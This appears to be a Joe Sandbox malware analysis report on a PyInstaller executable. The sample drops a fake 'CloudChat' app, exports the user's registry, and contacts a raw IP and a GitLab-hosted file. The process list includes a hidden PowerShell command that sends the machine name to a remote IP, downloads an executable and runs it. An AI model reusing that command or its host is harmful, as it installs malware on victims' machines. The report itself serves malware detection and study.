Sep 30, 2024 12:21:06.004487038 CEST	222	OUT	POST /api HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 64 Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: en-CH,* User-Agent: Mozilla/5.0 Host: 66.228.63.175:80
Sep 30, 2024 12:21:06.009298086 CEST	64	OUT	Data Raw: 00 00 00 00 00 00 00 00 28 b4 52 9a 8b 7b fa e6 2c 00 00 00 ed 35 cd ee 0b 74 2b 2e 73 30 a7 a9 f0 4a 7d fa 7f ce 9c ba 5e 0b f2 6c b9 88 00 b2 8c c2 f3 ef 0b 48 6c 47 8b 6f 97 13 bd 94 54 20 Data Ascii: (R{,5t+.s0J}^lHlGoT

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	52078	172.65.251.78	443	2612	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-30 10:22:08 UTC	292	OUT	GET /deepchat2019/flsajfascol/raw/master/ajdioafd1 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.117 Safari/537.36 Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: en-CH,* Host: gitlab.com

Target ID:	0
Start time:	06:20:03
Start date:	30/09/2024
Path:	C:\Users\user\Desktop\LIccs3x2LZ.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\LIccs3x2LZ.exe"
Imagebase:	0x7ff6929e0000
File size:	30'202'389 bytes
MD5 hash:	F79F4FDD2637A2AB98294079ECBDC457
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	06:20:03
Start date:	30/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	06:20:05
Start date:	30/09/2024
Path:	C:\Users\user\Desktop\LIccs3x2LZ.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\LIccs3x2LZ.exe"
Imagebase:	0x7ff6929e0000
File size:	30'202'389 bytes
MD5 hash:	F79F4FDD2637A2AB98294079ECBDC457
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	06:20:08
Start date:	30/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "start cmd.exe /K C:\Users\user\Desktop\84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.exe"
Imagebase:	0x7ff704ce0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	06:20:09
Start date:	30/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /K C:\Users\user\Desktop\84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.exe
Imagebase:	0x7ff704ce0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	06:20:09
Start date:	30/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	06:20:09
Start date:	30/09/2024
Path:	C:\Users\user\Desktop\84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Desktop\84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.exe
Imagebase:	0x390000
File size:	23'516'633 bytes
MD5 hash:	286C4FE69BB974A050B48FCC82108897
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Antivirus matches:	Detection: 17%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	06:20:09
Start date:	30/09/2024
Path:	C:\Users\user\AppData\Local\Temp\is-4QOV2.tmp\84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.tmp
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\is-4QOV2.tmp\84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.tmp" /SL5="$4046E,22570383,901632,C:\Users\user\Desktop\84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.exe"
Imagebase:	0x710000
File size:	3'392'000 bytes
MD5 hash:	883D1E41D100F16B16231599B49E286B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Antivirus matches:	Detection: 0%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	06:20:31
Start date:	30/09/2024
Path:	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe"
Imagebase:	0xda0000
File size:	51'122'176 bytes
MD5 hash:	F6D1635745FAE66AC9AC4D3DC5E9C604
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	13
Start time:	06:20:38
Start date:	30/09/2024
Path:	C:\Windows\SysWOW64\reg.exe
Wow64 process (32bit):	true
Commandline:	"reg" EXPORT "HKEY_CURRENT_USER\SOFTWARE" "C:\Users\user\AppData\Local\Temp\9144b88e-958d-4c3c-90ee-8a3bd5e186d3\System\UserSOFTWARE.reg" /y
Imagebase:	0xcd0000
File size:	59'392 bytes
MD5 hash:	CDD462E86EC0F20DE2A1D781928B1B0C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	06:20:38
Start date:	30/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	06:20:51
Start date:	30/09/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -WindowStyle Hidden -Command "$machineName = $env:COMPUTERNAME; $path = Join-Path -Path $env:TEMP -ChildPath 'GUIDGUIDGUID.exe'; $uri = 'http://185.196.10.235:50001/download?name=' + $machineName; Invoke-WebRequest -Uri $uri -OutFile $path; Start-process $path"
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	06:20:51
Start date:	30/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	10.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	16.1%
Total number of Nodes:	2000
Total number of Limit Nodes:	75

Executed Functions

Function 00007FF6929E7E30 Relevance: 70.3, APIs: 36, Strings: 4, Instructions: 257
synchronizationwindowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF6929E88F0: MultiByteToWideChar.KERNEL32(?,?,?,00007FF6929E3A14,00000000,00007FF6929E1965), ref: 00007FF6929E8929

SetConsoleCtrlHandler.KERNEL32(FFFFFFFF,00000000,?,00007FF6929E33AC), ref: 00007FF6929E7E8B
GetStartupInfoW.KERNEL32 ref: 00007FF6929E7EA6

Part of subcall function 00007FF6929FB324: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6929FB338

Part of subcall function 00007FF6929F95F8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6929F965F

GetCommandLineW.KERNEL32 ref: 00007FF6929E7F36
CreateProcessW.KERNELBASE ref: 00007FF6929E7F6E
GetLastError.KERNEL32 ref: 00007FF6929E7F78

Part of subcall function 00007FF6929E2310: GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,00007FF6929E2AC6,?,00007FF6929E2BC5), ref: 00007FF6929E2360
Part of subcall function 00007FF6929E2310: FormatMessageW.KERNEL32(?,?,?,?,?,?,?,?,00007FF6929E2AC6,?,00007FF6929E2BC5), ref: 00007FF6929E241A

RegisterClassW.USER32 ref: 00007FF6929E7FD0
GetLastError.KERNEL32 ref: 00007FF6929E7FDB
CreateWindowExW.USER32 ref: 00007FF6929E8025
GetLastError.KERNEL32 ref: 00007FF6929E8037
WaitForSingleObject.KERNEL32 ref: 00007FF6929E8052
GetLastError.KERNEL32 ref: 00007FF6929E8065
PeekMessageW.USER32 ref: 00007FF6929E8089
TranslateMessage.USER32 ref: 00007FF6929E8097
DispatchMessageW.USER32 ref: 00007FF6929E80A1
PeekMessageW.USER32 ref: 00007FF6929E80BC
WaitForSingleObject.KERNEL32 ref: 00007FF6929E80CE
WaitForSingleObject.KERNEL32 ref: 00007FF6929E80E9
TerminateProcess.KERNEL32 ref: 00007FF6929E80FF
GetLastError.KERNEL32 ref: 00007FF6929E8109
WaitForSingleObject.KERNEL32 ref: 00007FF6929E8117
DestroyWindow.USER32 ref: 00007FF6929E8254
GetExitCodeProcess.KERNELBASE ref: 00007FF6929E8269
CloseHandle.KERNEL32 ref: 00007FF6929E8272
CloseHandle.KERNEL32 ref: 00007FF6929E827F

Strings

CreateProcessW, xrefs: 00007FF6929E7F87
PyInstaller Onefile Hidden Window, xrefs: 00007FF6929E7FE5
PyInstallerOnefileHiddenWindow, xrefs: 00007FF6929E7FA4
Failed to create child process!, xrefs: 00007FF6929E7F80

Memory Dump Source

Source File: 00000000.00000002.2156221336.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000000.00000002.2155591125.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156257166.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156412753.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID: ErrorLastMessage$ObjectProcessSingleWait$CloseCreateHandlePeekWindow_invalid_parameter_noinfo$ByteCharClassCodeCommandConsoleCtrlCurrentDestroyDispatchExitFormatHandlerInfoLineMultiRegisterStartupTerminateTranslateWide
String ID: CreateProcessW$Failed to create child process!$PyInstaller Onefile Hidden Window$PyInstallerOnefileHiddenWindow
API String ID: 4208240515-3165540532
Opcode ID: 6cf3c8642f53b43b1e9fef10f104943b82e9411ccff8eb65c880d58da3f350d3
Instruction ID: e742ca61998a18f4d73e0b33b80e8999df7fc3051d95f44ecd84d74a4ff2bd9c
Opcode Fuzzy Hash: 6cf3c8642f53b43b1e9fef10f104943b82e9411ccff8eb65c880d58da3f350d3
Instruction Fuzzy Hash: C9D17D33A48F8286FB209F75E8542BA3760FB89B5CF400275DA5E92AA5DFBCD544C740

Function 00007FF692A06E10 Relevance: 14.3, APIs: 6, Strings: 2, Instructions: 334
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_get_daylight.LIBCMT ref: 00007FF692A06E55

Part of subcall function 00007FF692A067A8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF692A067BC

Part of subcall function 00007FF6929FB404: RtlFreeHeap.NTDLL(?,?,?,00007FF692A03F32,?,?,?,00007FF692A03F6F,?,?,00000000,00007FF692A04435,?,?,?,00007FF692A04367), ref: 00007FF6929FB41A
Part of subcall function 00007FF6929FB404: GetLastError.KERNEL32(?,?,?,00007FF692A03F32,?,?,?,00007FF692A03F6F,?,?,00000000,00007FF692A04435,?,?,?,00007FF692A04367), ref: 00007FF6929FB424

Part of subcall function 00007FF6929FB7E4: IsProcessorFeaturePresent.KERNEL32(?,?,?,?,00007FF6929FB7C3,?,?,?,?,?,00007FF6929FB6AE), ref: 00007FF6929FB7ED
Part of subcall function 00007FF6929FB7E4: GetCurrentProcess.KERNEL32(?,?,?,?,00007FF6929FB7C3,?,?,?,?,?,00007FF6929FB6AE), ref: 00007FF6929FB812

_get_daylight.LIBCMT ref: 00007FF692A06E44

Part of subcall function 00007FF692A06808: _invalid_parameter_noinfo.LIBCMT ref: 00007FF692A0681C

_get_daylight.LIBCMT ref: 00007FF692A070BA
_get_daylight.LIBCMT ref: 00007FF692A070CB
_get_daylight.LIBCMT ref: 00007FF692A070DC
GetTimeZoneInformation.KERNELBASE(?,?,?,?,?,?,?,?,?,00000000,?,00007FF692A0731C), ref: 00007FF692A07103

Strings

Eastern Summer Time, xrefs: 00007FF692A071C1
Eastern Standard Time, xrefs: 00007FF692A071A9

Memory Dump Source

Source File: 00000000.00000002.2156221336.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000000.00000002.2155591125.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156257166.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156412753.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID: _get_daylight$_invalid_parameter_noinfo$CurrentErrorFeatureFreeHeapInformationLastPresentProcessProcessorTimeZone
String ID: Eastern Standard Time$Eastern Summer Time
API String ID: 4070488512-239921721
Opcode ID: b22cc06a3c60431b14bcf1c8d747afbe170d6a75001cdb9071bf50fc7cf7b518
Instruction ID: 85f37865cee7e5d7d86a8413cd6ba27b1439693cb628d919514aaecf03f13e0a
Opcode Fuzzy Hash: b22cc06a3c60431b14bcf1c8d747afbe170d6a75001cdb9071bf50fc7cf7b518
Instruction Fuzzy Hash: C4D1E067A482428AFB34DF26D8501B967A1FF85B9CF404176EA0DC7696DFBCE842C740

Function 00007FF692A07B74 Relevance: 13.8, APIs: 9, Instructions: 276
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF692A078A8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF692A078E9
Part of subcall function 00007FF692A078A8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF692A07967
Part of subcall function 00007FF692A078A8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF692A079B8

CreateFileW.KERNELBASE ref: 00007FF692A07C7A
CreateFileW.KERNEL32 ref: 00007FF692A07CCA
GetLastError.KERNEL32 ref: 00007FF692A07CFA
GetFileType.KERNELBASE ref: 00007FF692A07D0F
GetLastError.KERNEL32 ref: 00007FF692A07D19
CloseHandle.KERNEL32 ref: 00007FF692A07D4C
CloseHandle.KERNEL32 ref: 00007FF692A07EAF
CreateFileW.KERNEL32 ref: 00007FF692A07EE4
GetLastError.KERNEL32 ref: 00007FF692A07EF3

Memory Dump Source

Source File: 00000000.00000002.2156221336.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000000.00000002.2155591125.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156257166.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156412753.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID: File$CreateErrorLast_invalid_parameter_noinfo$CloseHandle$Type
String ID:
API String ID: 1617910340-0
Opcode ID: 6900b12a6c6c443aa41c68e268e6275e38d412fb7e8bb922b7a0c5fbdd2459d5
Instruction ID: 67e30de1f1b54e3514d2a6269c1b8e0420c8b9049162e5b19d7613f71e089496
Opcode Fuzzy Hash: 6900b12a6c6c443aa41c68e268e6275e38d412fb7e8bb922b7a0c5fbdd2459d5
Instruction Fuzzy Hash: 5BC1C033B28A4286FB60CF69D8806BD3761EB4AB98B015265DE1E9B7D5CF78D855C300

Function 00007FF6929E7810 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 89
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindFirstFileW.KERNELBASE(00000000,00007FF6929E7D69,00007FF6929E33D2), ref: 00007FF6929E787B
RemoveDirectoryW.KERNEL32 ref: 00007FF6929E78FE
DeleteFileW.KERNELBASE ref: 00007FF6929E791D
FindNextFileW.KERNELBASE ref: 00007FF6929E792B
FindClose.KERNEL32 ref: 00007FF6929E793C
RemoveDirectoryW.KERNELBASE ref: 00007FF6929E7945

Strings

%s\*, xrefs: 00007FF6929E7842

Memory Dump Source

Source File: 00000000.00000002.2156221336.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000000.00000002.2155591125.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156257166.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156412753.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID: FileFind$DirectoryRemove$CloseDeleteFirstNext
String ID: %s\*
API String ID: 1057558799-766152087
Opcode ID: 13d1e5ca616fbee15f7399d2a7e70757b47be021e92437ea9419fac0636d742e
Instruction ID: 6e225ffd54d408007d9b6fe169e1d6744bc61d51c95e97c760e6c988ee9d49f5
Opcode Fuzzy Hash: 13d1e5ca616fbee15f7399d2a7e70757b47be021e92437ea9419fac0636d742e
Instruction Fuzzy Hash: 14416332A0C98381FB30AB25E4585FD63A0FFA9758F500272D59EC2695DFBCD54AC701

Function 00007FF692A0708C Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 143
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_get_daylight.LIBCMT ref: 00007FF692A070BA

Part of subcall function 00007FF692A06808: _invalid_parameter_noinfo.LIBCMT ref: 00007FF692A0681C

_get_daylight.LIBCMT ref: 00007FF692A070CB

Part of subcall function 00007FF692A067A8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF692A067BC

_get_daylight.LIBCMT ref: 00007FF692A070DC

Part of subcall function 00007FF692A067D8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF692A067EC

Part of subcall function 00007FF6929FB404: RtlFreeHeap.NTDLL(?,?,?,00007FF692A03F32,?,?,?,00007FF692A03F6F,?,?,00000000,00007FF692A04435,?,?,?,00007FF692A04367), ref: 00007FF6929FB41A
Part of subcall function 00007FF6929FB404: GetLastError.KERNEL32(?,?,?,00007FF692A03F32,?,?,?,00007FF692A03F6F,?,?,00000000,00007FF692A04435,?,?,?,00007FF692A04367), ref: 00007FF6929FB424

GetTimeZoneInformation.KERNELBASE(?,?,?,?,?,?,?,?,?,00000000,?,00007FF692A0731C), ref: 00007FF692A07103

Strings

Eastern Summer Time, xrefs: 00007FF692A071C1
Eastern Standard Time, xrefs: 00007FF692A071A9

Memory Dump Source

Source File: 00000000.00000002.2156221336.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000000.00000002.2155591125.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156257166.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156412753.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID: _get_daylight_invalid_parameter_noinfo$ErrorFreeHeapInformationLastTimeZone
String ID: Eastern Standard Time$Eastern Summer Time
API String ID: 3458911817-239921721
Opcode ID: dc6df152e4e0072f1ab9809411110e842ecafcb7cd56bca977f92307902173f2
Instruction ID: 87e98b1eed4507f024dda0f5dceede4154c5a7a1304f59c38f15aab8a97bf8fb
Opcode Fuzzy Hash: dc6df152e4e0072f1ab9809411110e842ecafcb7cd56bca977f92307902173f2
Instruction Fuzzy Hash: C251A073A486428AF734DF22E9911B967A0FB4978CF4051B5EA0DC3696DFBCE841C740

Function 00007FF6929E87E0 Relevance: 3.0, APIs: 2, Instructions: 29COMMON

Download Yara Rule

APIs

FindFirstFileExW.KERNELBASE ref: 00007FF6929E8813
FindClose.KERNELBASE ref: 00007FF6929E8822

Memory Dump Source

Source File: 00000000.00000002.2156221336.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000000.00000002.2155591125.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156257166.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156412753.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: bf04df12ed89424385b35bc97b9e30209b4e9d30cb3ee9ccc1531a0517fd62e7
Instruction ID: a7525637f6e646abe982b3e71948e0babfc2d3304183b6943dc35c558745185e
Opcode Fuzzy Hash: bf04df12ed89424385b35bc97b9e30209b4e9d30cb3ee9ccc1531a0517fd62e7
Instruction Fuzzy Hash: ACF04F37A1964286F7B08BA1B4997767390FB8476CF004375DA7E426E5DFBCD0098B00

Function 00007FF692A01AD8 Relevance: 2.0, APIs: 1, Instructions: 461COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2156221336.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000000.00000002.2155591125.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156257166.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156412753.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID: CurrentFeaturePresentProcessProcessor
String ID:
API String ID: 1010374628-0
Opcode ID: f284fe1203af8cb7ad24ccfe294dd2b258390ffea7df5946cb9025d6fe94c312
Instruction ID: 24a76d92892c811ba4ba7d60691886f0730e0209d85da9f6f176629fb1591838
Opcode Fuzzy Hash: f284fe1203af8cb7ad24ccfe294dd2b258390ffea7df5946cb9025d6fe94c312
Instruction Fuzzy Hash: 3202C223B4D74241FB75AB1694102BA2694EF57BA8F0546B5ED5EC73E2DEFCE8029300

Function 00007FF6929E1000 Relevance: 60.0, APIs: 2, Strings: 32, Instructions: 527COMMON

Download Yara Rule

Strings

minimize-late, xrefs: 00007FF6929E2FE8
PYINSTALLER_RESET_ENVIRONMENT, xrefs: 00007FF6929E2C43, 00007FF6929E2C6F
pyi-contents-directory, xrefs: 00007FF6929E2F58
Failed to load Tcl/Tk shared libraries for splash screen!, xrefs: 00007FF6929E32FA
pyi-runtime-tmpdir, xrefs: 00007FF6929E2F33
PYINSTALLER_SUPPRESS_SPLASH_SCREEN, xrefs: 00007FF6929E3248
pkg, xrefs: 00007FF6929E2D7E
Could not load PyInstaller's embedded PKG archive from the executable (%s), xrefs: 00007FF6929E2D31
Path exceeds PYI_PATH_MAX limit., xrefs: 00007FF6929E3158
Could not create temporary directory!, xrefs: 00007FF6929E3105
Failed to remove temporary directory: %s, xrefs: 00007FF6929E33FC
Failed to initialize security descriptor for temporary directory!, xrefs: 00007FF6929E30A5
_PYI_PARENT_PROCESS_LEVEL, xrefs: 00007FF6929E2DD8, 00007FF6929E2DF0, 00007FF6929E2E5C
_PYI_SPLASH_IPC, xrefs: 00007FF6929E2DE4, 00007FF6929E3334
_PYI_APPLICATION_HOME_DIR, xrefs: 00007FF6929E2DCC, 00007FF6929E311A, 00007FF6929E3398
pyi-python-flag, xrefs: 00007FF6929E2EA0
MEI, xrefs: 00007FF6929E2CF3
_PYI_ARCHIVE_FILE, xrefs: 00007FF6929E2C92, 00007FF6929E2DC0
Failed to load splash screen resources!, xrefs: 00007FF6929E32C4
Failed to unpack splash screen dependencies from PKG archive!, xrefs: 00007FF6929E32E5
Py_GIL_DISABLED, xrefs: 00007FF6929E2EBE
Invalid value in _PYI_PARENT_PROCESS_LEVEL: %s, xrefs: 00007FF6929E2EFC
Could not side-load PyInstaller's PKG archive from external file (%s), xrefs: 00007FF6929E2D9E
pyi-hide-console, xrefs: 00007FF6929E2F7D
_PYI_APPLICATION_HOME_DIR not set for onefile child process!, xrefs: 00007FF6929E317B
hide-late, xrefs: 00007FF6929E2FCB
Failed to start splash screen!, xrefs: 00007FF6929E3313
VCRUNTIME140.dll, xrefs: 00007FF6929E31EF
hide-early, xrefs: 00007FF6929E2F91
PYINSTALLER_STRICT_UNPACK_MODE, xrefs: 00007FF6929E3043
minimize-early, xrefs: 00007FF6929E2FAE
Failed to convert DLL search path!, xrefs: 00007FF6929E321A

Memory Dump Source

Source File: 00000000.00000002.2156221336.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000000.00000002.2155591125.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156257166.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156412753.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID: ErrorFileLastModuleName
